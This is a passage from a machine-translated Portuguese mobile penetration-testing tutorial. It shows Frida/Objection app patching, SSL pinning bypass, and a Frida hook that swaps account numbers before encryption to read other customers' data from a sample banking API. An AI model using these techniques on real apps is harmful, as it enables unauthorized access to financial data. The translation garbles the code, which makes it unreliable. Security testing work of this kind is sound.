/ _ / | _ | ajuda -> Exibe o sistema de ajuda
. . . . objeto? -> Exibir informações sobre ‘objeto’
. . . . sair / sair -> Sair
. . . .
. . . . Mais informações em http://www.frida.re/docs/home/
[Dispositivo iOS :: Vulnapp] -> [*] Método conectado … Modificando o valor de retorno
————————————————-
+++++++++++++++++++++++++++++
[0x01d] – Nenhuma raiz pode obter
+++++++++++++++++++++++++++++
Basicamente, é necessário um dispositivo com raiz / quebrado na cadeia para fazer DBI devido à arquitetura frida. E se pudéssemos usar o frida em dispositivos não enraizados / sem jailbreak? Sim, podemos e isso significa que não nos importamos mais com a detecção de root / jailbreak, porque podemos realizar análises de Dynamic / Runtime sem fazer root / jailbreak. W00T W00T !!
Isso pode ser feito através do aplicativo de aplicação de patches, inserindo a biblioteca frida no binário e, em seguida, empacotando o aplicativo novamente. Podemos fazer isso automaticamente usando “Objection” (https://github.com/sensepost/objection), que é um kit de ferramentas para exploração móvel em tempo de execução, desenvolvido pela Frida e compatível com as plataformas iOS e Android. A objeção também possui muitos recursos para acessar sistema de arquivos, classe / método, chaveiro, memória de despejo, scripts internos sem a necessidade de um dispositivo móvel com jailbreak ou raiz.
+++++++++++
+ Android +
+++++++++++
O pacote do aplicativo (APK) deve ser corrigido e o código deve ser assinado para carregar o `frida-gadget.so` no início. Isso pode ser feito automaticamente usando um subcomando “patchapk” que determinará a arquitetura de destino do seu dispositivo usando o `adb`, extraia o APK de origem, insira a permissão INTERNET se ele ainda não existir, corrija e incorpore o` frida-gadget. reembalar e assinar um novo APK para você.
————————————————-
zeq3ul @ home: ~ / Desktop $ objcha patchapk –source vulnapp.apk
Nenhuma arquitetura especificada. Determinando-o usando `adb` …
Detectou a arquitetura como: armeabi-v7a
Usando a versão do gadget: 10.3.14
Descompactando vulnapp.apk
O aplicativo já possui android.permission.INTERNET
Lendo smali em: /tmp/tmpbwqu1jyf.apktemp/smali/com/example/vulnapp/MainActivity.smali
Injeção de chamada loadLibrary na linha: 18
Gravando smali remendado em: /tmp/tmpbwqu1jyf.apktemp/smali/com/example/vulnapp/MainActivity.smali
Criando o caminho da biblioteca: /tmp/tmpbwqu1jyf.apktemp/lib/armeabi-v7a
Copiando o gadget Frida para o caminho das bibliotecas …
Reconstruindo o APK com o frida-gadget carregado …
Criou um novo APK com loadLibrary injetado e frida-gadget
Assinando um novo APK.
Assinou o novo APK
Copiando apk final de /tmp/tmpbwqu1jyf.apktemp.objection.apk para o diretório atual …
Limpando arquivos temporários …
————————————————-
Depois que um APK do Android for corrigido para incorporar o gadget Frida, o aplicativo poderá ser iniciado e o aplicativo ficará em estado de pausa até conectarmos a objeção usando o comando “objection -g explore”.
————————————————-
zeq3ul @ home: ~ / Desktop $ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (samsung: 7.0) [usb] # ls
Type Last Modified Read Write Hidden Size Name
--------- ----------------------- ------ ------- -------- ------- ------------
Directory 2017-12-06 11:07:04 GMT True False False 4.0 KiB lib
Directory 2017-12-04 23:34:15 GMT True True False 4.0 KiB cache
Directory 2017-12-06 12:13:43 GMT True True False 4.0 KiB shared_prefs
Directory 2017-12-06 12:12:52 GMT True True False 4.0 KiB files
Directory 2017-12-06 12:13:36 GMT True True False 4.0 KiB databases
Readable: Yes Writable: Yes
-------------------------------------------------
A partir do resultado do exemplo, podemos acessar a pasta do aplicativo através do dispositivo não-rooteado da Objection. Quaisquer comandos frida ou scripts personalizados também estão disponíveis usando o comando frida connect ao dispositivo em vez de usar Objection.
+++++++++++
+ iOS +
+++++++++++
O pacote de aplicativos (IPA) deve ser corrigido e o código assinado para carregar o “FridaGadget.dylib” na inicialização. Para corrigir um IPA, algumas coisas precisam ser feitas na preparação, como a obtenção de um arquivo “embedded.mobileprovision”, bem como um certificado de assinatura de código da Apple. Depois que você os tiver, a objeção terá um subcomando “patchipa” que ajudará você a cuidar do resto (https://github.com/sensepost/objection/wiki/Patching-iOS-Applications).
————————————————-
zeq3ul-MacBook: Patchipa de objeção zeq3ul $ para desktop –source “vulnapp.ipa” –codesign-signature 0B197F2xxx
Usando a versão do gadget: 10.5.15
Nenhum arquivo de provisão especificado, procurando por um …
Arquivo de provisão encontrado /Users/zeq3ul/Library/Developer/Xcode/DerivedData/vulnapp-dhjuudmztjpbrdgvszdkdtbawert/Build/Products/Debug-iphoneos/vulnapp.app/embedded.mobileprovision expirando em 6 dias, 16: 55: 00.630
Encontrou um perfil de aprovisionamento válido
Trabalhando com o aplicativo: Vulnapp.app
O identificador de pacote configurável é: com.example.vulnapp
Criando o diretório Frameworks para o FridaGadget …
Codificando 1 .dylib’s com a assinatura 0B197F2xxx
Assinatura de código: FridaGadget.dylib
Criando novo arquivo com conteúdo corrigido …
Codificando o IPA corrigido …
Não é possível encontrar direitos em binário. Usando padrões
Copiando o ipa final de /var/folders/q8/vdq51bkj251_yhm86gmbmtgc0000gn/T/vulnapp-frida-codesigned.ipa para o diretório atual …
Limpando arquivos temporários …
————————————————-
Depois de ter um IPA corrigido pronto, o ios-deploy pode ser usado para instalar e executar o aplicativo corrigido em dispositivos não jailbroken usando “ios-deploy –bundle Payload / vulnapp.app -d”, em seguida, o aplicativo pode ser iniciado em um estado de pausa até conectarmos a objeção usando o comando “objection -g explore” (https://github.com/sensepost/objection/wiki/Running-Patched-iOS-Applications). Existe um truque para especificar o sinalizador “-m” para o ios-deploy após a primeira instalação, caso não desejemos reinstalar o aplicativo. Isso pode nos ajudar a realizar análises dinâmicas sobre armazenamento inseguro de dados quando o aplicativo é fechado acidentalmente.
————————————————-
zeq3ul-MacBook: Área de trabalho zeq3ul $ ios-deploy –bundle Payload / Vulnapp.app / -m
[….] Aguardando a conexão do dispositivo iOS
[….] Usando 144040c0c6870c6775bac6c3ca56361ca0f08343 (N94AP, iPhone 4S, iphoneos, armv7) também conhecido como ‘iPhone’.
—— Fase de depuração ——
Iniciando a depuração do 144040c0c6870c6775bac6c3ca56361ca0f08343 (N94AP, iPhone 4S, iphoneos, armv7) também conhecido como ‘iPhone’ conectado via USB …
[0%] Pesquisando a imagem do disco do desenvolvedor
[95%] Imagem de disco do desenvolvedor montada com sucesso
[100%] Conectando ao servidor de depuração remota
————————-
…
(lldb) conectar
(lldb) executar
sucesso
07-12-2017: 23: 37: 11.856 Vulnapp [240: 8908] Frida: ouvindo na porta TCP 27042.0.0.0.1
(lldb)
————————————————-
Agora podemos abrir outro terminal para conectar o aplicativo através da Objection, como mostrado abaixo:
-------------------------------------------------
zeq3ul-MacBook:Desktop zeq3ul$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (iPhone: 9.3.5) [usb] #
-------------------------------------------------
########################
[0x02] – Telhado e túnel
########################
Outras proteções de segurança conhecidas no aplicativo móvel são “Fixação SSL” e “Criptografia de ponta a ponta”. A proteção de fixação SSL pode impedir que ataques intermediários e agentes mal-intencionados interceptem o tráfego entre o aplicativo e a API de back-end. A criptografia de ponta a ponta é uma proteção extra para impedir o MiTM quando a proteção de pinos SSL é derrotada porque o tráfego de solicitação / resposta será criptografado. Este capítulo mostrará como ignorar a fixação SSL e vencer a criptografia de ponta a ponta para realizar testes de segurança na API de back-end.
+++++++++++++++++++++++++++++++
[0x02a] – Você (não) passará
+++++++++++++++++++++++++++++++
Para realizar testes de segurança em termos de autenticação e autorização, gerenciamento de sessões, lógica de negócios e validação de entrada na API de back-end, precisamos ignorar essa proteção para interceptar / modificar o tráfego, tanto a solicitação quanto a resposta usando quaisquer proxies. Existem muitas ferramentas automatizadas (por exemplo, SSLUnpinning, SSL-TrustKiller, SSL-Kill-Switch2) que podem ignorar a fixação SSL (é necessário um dispositivo com raiz / quebra de cadeia).
P: E se o desenvolvedor conhece essas ferramentas e implementa a detecção?
R: Podemos usar as técnicas mencionadas anteriormente (manipulação de Patching ou Runtime), mas seria melhor usar scripts de objeção ou frida automatizados para anular essa proteção.
A Objection também possui scripts frida integrados para ignorar a fixação SSL nas plataformas iOS e Android. Nesse caso, a fixação de SSL nas plataformas iOS foi derrotada usando o comando “ios sslpinning disable” em Objection, como mostrado abaixo:
————————————————-
zeq3ul-MacBook:Desktop zeq3ul$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (iPhone: 9.3.5) [usb] # ios sslpinning disable
Job: 71b65089-6f5c-4488-9291-4e0b01245042 - Starting
[4e0b01245042] [ios-ssl-pinning-bypass] [NSURLSession] Found 4 matches for URLSession:didReceiveChallenge:completionHandler:
[4e0b01245042] [ios-ssl-pinning-bypass] [NSURLConnection] Found 3 matches for connection:willSendRequestForAuthenticationChallenge:
[4e0b01245042] [ios-ssl-pinning-bypass] Hooking lower level methods: SSLSetSessionOption, SSLCreateContext, SSLHandshake and tls_helper_create_peer_trust
Job: 71b65089-6f5c-4488-9291-4e0b01245042 - Started
com.example.vulnapp on (iPhone: 9.3.5) [usb] # [4e0b01245042] [ios-ssl-pinning-bypass] [tls_helper_create_peer_trust] Called
[4e0b01245042] [ios-ssl-pinning-bypass] [tls_helper_create_peer_trust] Called
-------------------------------------------------
A fixação de SSL nas plataformas Android também foi derrotada usando o comando "android sslpinning disable" na Objection, como mostrado abaixo:
-------------------------------------------------
zeq3ul@home:~/Desktop$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (samsung: 7.0) [usb] # android sslpinning disable
Job: 349ae70f-61e3-4c0d-9e78-d04d78c477d0 - Starting
[d04d78c477d0] [android-ssl-pinning-bypass] Custom, Empty TrustManager ready
[d04d78c477d0] [android-ssl-pinning-bypass] OkHTTP 3.x Found
Job: 349ae70f-61e3-4c0d-9e78-d04d78c477d0 - Started
com.example.vulnapp on (samsung: 7.0) [usb] # [d04d78c477d0] [android-ssl-pinning-bypass] Overriding SSLContext.init() with the custom TrustManager
[d04d78c477d0] [android-ssl-pinning-bypass] OkHTTP 3.x check() called. Not throwing an exception.
[d04d78c477d0] [android-ssl-pinning-bypass] Overriding SSLContext.init() with the custom TrustManager
-------------------------------------------------
No caso de ignorar a fixação de SSL na objeção interna não funcionar, podemos usar outro script automatizado do Frida codeshare (https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with -frida /). O script pode manipular o SSLContext reconectando o aplicativo à nossa própria CA, como mostrado abaixo:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -U com.example.vulnapp
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Hello! This is the first time you're running this particular snippet, or the snippet's source code has changed.
Project Name: Universal Android SSL Pinning Bypass with Frida
Author: @pcipolloni
Slug: pcipolloni/universal-android-ssl-pinning-bypass-with-frida
Fingerprint: 0a7771bd4f6cba7d0e230552fede02b4d1585fd9f19cc1f21a51aa2a1f417e98
URL: https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
Are you sure you'd like to trust this project? [y/N] y
Adding fingerprint 0a7771bd4f6cba7d0e230552fede02b4d1585fd9f19cc1f21a51aa2a1f417e98 to the trust store! You won't be prompted again unless the code changes.
[Android Emulator 5554::com.example.vulnapp]->
[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!
...
-------------------------------------------------
The HTTPs request and response traffic will be shown in Burp Suite proxy !!
++++++++++++++++++++++++++++++
[0x02b] - You shall(not) see
++++++++++++++++++++++++++++++
Recentemente, muitos aplicativos começaram a implementar outro nível de controle para combater a violação de tráfego e a ameaça man-in-the-middle, uma criptografia de ponta a ponta na camada de aplicativo (principalmente HTTP). Isso dificulta nosso trabalho, porque mesmo conseguimos ignorar a detecção de jailbreak + a fixação de SSL e tentar configurar o proxy man-in-the-middle para interceptar o tráfego, ainda não conseguimos ver o parâmetro real de uma solicitação e resposta entre o dispositivo e o dispositivo. servidor como os próprios dados da camada de aplicativo também criptografados.
Portanto, precisamos encontrar o caminho para trabalhar nele, uma maneira de fazer isso é fazer a engenharia reversa do aplicativo e tentar encontrar os métodos de codificação / criptografia dos dados e tentar decodificá-los / descriptografá-los para obter o texto simples. Mas isso pode levar algum tempo (ou muito) para descobrir todo o processo, especialmente quando se lida com código ofuscado. Outra maneira é solicitar ao cliente que remova a criptografia para nós, o que em algum momento isso não é possível por qualquer motivo.
É quando podemos (novamente) utilizar a manipulação do tempo de execução com ferramentas dinâmicas de instrumentação, como o frida, para contornar esses controles. Como sabemos que os métodos de uma classe específica podem ser rastreados usando o script frida de Macro, podemos tentar rastrear o uso de um método para executar a criptografia. A idéia era manipular o texto sem formatação antes que eles se transformassem em cifra e enviassem para o servidor. Porque achamos que os valores dos parâmetros definitivamente precisam ser construídos em forma de texto sem formatação antes de serem criptografados e enviados ao servidor.
A função que demonstraremos aqui é a função de um aplicativo bancário móvel que mostra o resumo da conta do usuário de login atual. Além disso, a interface do usuário não permitiu que o usuário alterasse um número de conta ou qualquer informação.
Primeiro, tentamos interceptar o tráfego usando o proxy Burp Suite normalmente. Mas o corpo do tráfego que interceptamos era uma string codificada em URL + base64 que não parece capaz de decodificar em texto legível.
———– SOLICITAÇÃO HTTP ————
POST / api / v1 / conta / resumo HTTP / 1.1
…
iWuuTQmWa6uXJns3zO6BNNPfdfHjSj9nRPs% 2FjQhxf% 2FieJqsh% 2BO% 2FvEU5YxeA9GJKbNL% 2F0sLK8Novj% 0A7% 2BNuMPH2kBq5qBq5qBq5qBq5qBq5qBq5A5
———————————–
O servidor também respondeu da mesma forma e as seqüências de caracteres também mudam toda vez que emitimos uma nova solicitação, portanto acreditamos que o aplicativo implementou algum tipo de criptografia.
———– RESPOSTA HTTP ———–
HTTP / 1.1 200 OK
…
a + AkYTvbAwOK7ueCcY6TxtIxMqba0pSBpBjR + bP7pu7jXfrAOgYXHklq0CMou05WJRl3WPn / DMB / throQEmdrD6YcPNMHFo + y4 / tIccPHUf / eepPTJQqVKBr0WohD5Ev3kPiuo9G6NjuS3343bzXL / 5GAD7X3qYQfoKfTSd1FH87Q1Jm4V3hegesy7tVcK1GhOrbIgRtdNiYvSRxLgEs5VY0yISqnROe4GHSIXlT9tf1XsA0bqdjNI1kJwgk3IVAkQdIHCUlwfXUrSV6EJ8SBw ==
———————————–
Em seguida, o que fizemos foi encontrar a classe responsável por criptografar a mensagem. Isso pode ser feito usando o rastreamento frida por meio de “raptor_frida_android_trace.js” para identificar classes / métodos que foram usados para criptografar a mensagem enquanto o aplicativo executa a função.
————————————————-
frida -U com.example.vulnapp -l raptor_frida_android_trace.js – sem pausa
____
/ _ | Frida 10.6.32 – Uma estrutura de instrumentação dinâmica de classe mundial
| (_ | |
> _ | Comandos:
/ _ / | _ | ajuda -> Exibe o sistema de ajuda
. . . . objeto? -> Exibir informações sobre ‘objeto’
. . . . sair / sair -> Sair
. . . .
. . . . Mais informações em http://www.frida.re/docs/home/
[Emulador Android 5554 :: com.example.vulnapp] -> Rastreando com.example.vulnapp.Extend_Main $ 1.onClick [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.access $ 200 [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.alertText [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.createHmac [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.encrypt [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.generateAESKey [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.isNetworkAvailable [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.afterRetreiverKeyExchange [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.decrypt [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.hmacSha256 [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.init [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.onClick [1 sobrecarga (s)]
Rastreando com.example.vulnapp.E2e.onCreate [1 sobrecarga (s)]
…
*** digitou com.example.vulnapp.E2e.encrypt
arg [0]: [objeto Objeto]
arg [1]: [objeto Objeto]
retval: x + wc8M4vAXDQSA7eAT0 / l4a5I1v6rxDB0j4TmLQqaqKjbli2KJ5u + GD7rs / ThQylb5Ym / zDaW3bk6ztA3lsp2jwC3zWuJs / vZwLCPD
*** saindo de com.example.vulnapp.E2e.encrypt
————————————————-
Inicialmente, o Frida tracer conectou classes / métodos inteiros sob o nome de pacotes de aplicativos (com.example.vulnapp) e descobrimos as classes responsáveis por criptografar uma mensagem, portanto, optamos pelo método para procurar uma solicitação simples real.
Como resultado do rastreamento, o método de criptografia utilizou 2 objetos como argumentos. Observe que o valor de retorno (retval) do método de criptografia era a cifra semelhante à encontrada no proxy de interceptação. Portanto, o próximo passo foi descobrir quais eram esses argumentos. A modificação foi necessária em “raptor_frida_android_trace.js” convertendo o objeto de argumentos em string por meio de “JSON.stringify ()” para imprimir o valor do objeto, como mostrado abaixo:
———- raptor_frida_android_trace.js ———-
…
// imprime args
if (argument.length) console.log ()
for (var j = 0; j <argumentos.length; j ++) {
experimentar {
console.log (‘arg [‘ + j + ‘]:’ + JSON.stringify (argumentos [j]))
} captura (e) {
console.log (‘arg [‘ + j + ‘]:’ + argumentos [j])
}
}
…
————————————————–
Depois que o script frida tracer foi modificado, um novo resultado do rastreamento foi mostrado abaixo:
————————————————–
*** digitou com.example.vulnapp.E2e.encrypt
arg [0]: [93,6,87,92,64, -63, -92,17,5,84, -80,32,125, -39,98,9, -74,113,40,87,67, – 24, -11, -56,81, -45,2, -50, -102, -105, -20, -59]
arg [1]: [123,34,116,121,112,101,34,58,34,48,48,48,49,48,48,50,34,44,34,99,105,100,34,58,34,49,49,48, 48,48,48,50,57,51,56,52,49,34,125]
retval: s9uOAVXQvyD7bxgZfPWGEaM + ki099foftC / 6VRsDj / aiFW + vdFZFsQvqxHWBLLnmWC5FDCPs / Gigg3N7TxIQRJOX9jhC0cWIg5TK7
*** saindo de com.example.vulnapp.E2e.encrypt
————————————————–
Como resultado, o objeto se transformou em uma matriz de números que arg [0] continha números positivos e negativos, mas arg [1] continha apenas números positivos. Uma coisa que notamos foi que a matriz de arg [1] sempre começa com 123 e termina com 125, que é o código ASCII de “{” e “}” respectivamente, para que possa ser uma string JSON? Então, focamos apenas o argumento [1] e modificamos o script um pouco mais para converter essa matriz de números em string.
———- raptor_frida_android_trace.js ———-
…
// imprime args
if (argument.length) console.log ()
for (var j = 0; j <argumentos.length; j ++) {
experimentar {
if (j === 1) {
var argObj = JSON.parse (JSON.stringify (argumentos [j]))
var str = ”
for (var i = 0; i <argObj.length; i ++) {
str + = String.fromCharCode (argObj [i]) || argObj [i] .toString ()
}
console.log (‘arg [‘ + j + ‘]:’ + str)
} outro {
console.log (‘arg [‘ + j + ‘]:’ + argumentos [j])
}
} captura (e) {
console.log (‘arg [‘ + j + ‘]:’ + argumentos [j])
}
}
…
————————————————–
O código pode parecer um pouco estranho, mas funcionou: p, e executando o script, obtivemos a seguinte saída.
————————————————–
*** digitou com.example.vulnapp.E2e.encrypt
arg [0]: [objeto Objeto]
arg [1]: arg [1]: {“tipo”: “0001002”, “cid”: “110000293841”}
retval: 6a2ZSUTMH9Wo4sXno4dQPHSKnXEKerhBa2TjM0eADEU02BmbcpIS + YqJvKYFyLtzo + lSJzZ7gW36affjTmTf5H49sMeYxLa1bs3oM8w4d7d7d7d3d8d3
*** saindo de com.example.vulnapp.E2e.encrypt
————————————————–
Finalmente encontramos o texto simples JSON. Mas por que eles estavam na forma desse array ASCII, verificamos com código descompilado e descobrimos que o método tem a seguinte assinatura e tipo de retorno:
——————– E2e.class ———————
…
private String encrypt (byte [] aesKey, byte [] plainReq) …
…
————————————————–
O método teve o segundo argumento chamado “plainReq” com o tipo de matriz de bytes. Essa foi a razão pela qual eles estavam na forma de objeto (como visto por JS). O passo final foi escrever o script frida que manipula um valor de parâmetro para nós.
————- frida_manipulate_e2e.js —————
Java.perform (function () {
var E2eClass = Java.use (‘com.example.vulnapp.E2e’)
E2eClass.encrypt.implementation = function () {
var curAcc = ‘110000293841’
var newAcc = ‘210000293903’
var a = JSON.parse (JSON.stringify (argumentos [1]))
var s = ”
for (var i = 0; i <comprimento; i ++) {
s + = String.fromCharCode (a [i])
}
var r = s.replace (curAcc, newAcc) .split (”)
var p = []
r.forEach (function (c) {
p.push (c.charCodeAt (0))
})
console.log (‘\ n \ n Solicitação original:’ + s)
console.log (‘Nova solicitação:’ + s.replace (curAcc, newAcc))
retorna this.encrypt (argumentos [0], p)
}
})
————————————————–
Ao substituir os valores do argumento que passam para o método, poderíamos manipular o valor do parâmetro antes de enviá-lo para a API de back-end e descobrimos que o servidor não verificava corretamente o número da conta que nos levou a recuperar informações sobre qualquer usuário, apenas alterando o parâmetro “cid” como saída abaixo.
————————————————–
frida -U com.example.vulnapp -l frida_manipulate_e2e.js – sem pausa
____
/ _ | Frida 10.6.32 – Uma estrutura de instrumentação dinâmica de classe mundial
| (_ | |
> _ | Comandos:
/ _ / | _ | ajuda -> Exibe o sistema de ajuda
. . . . objeto? -> Exibir informações sobre ‘objeto’
. . . . sair / sair -> Sair
. . . .
. . . . Mais informações em http://www.frida.re/docs/home/
[Emulador Android 5554 :: com.example.vulnapp] ->
Solicitação original: {“type”: “0001002”, “cid”: “110000293841”}
Nova solicitação: {“type”: “0001002”, “cid”: “210000293903”}
————————————————–
A partir do resultado, foi possível testar o restante da comunicação entre o dispositivo e a API de back-end usando a técnica mencionada. Além disso, poderíamos usar essa técnica para identificar outras vulnerabilidades em outras funções. Isso significa que o desenvolvedor não conhecia essa técnica e ignorou os controles fundamentais que podem realmente proteger o aplicativo.
Embora os aplicativos móveis agora tenham mais requisitos de mecanismo de defesa em profundidade, como fixação SSL, criptografia de ponta a ponta, detecção insegura de ambiente etc., o mais importante para tornar o aplicativo (razoavelmente) seguro é garantir que todos os controles fundamentais (por exemplo, validação de entrada, autenticação e autorização na API de back-end) estão em vigor para evitar falhas na causa raiz.
“Não subestime o poder do lado negro!” – Darth Vader
######################
[0x03] – Thx especial
######################
L @ mp4rd, RailDex, 2600 Tailândia, Exploit-db.com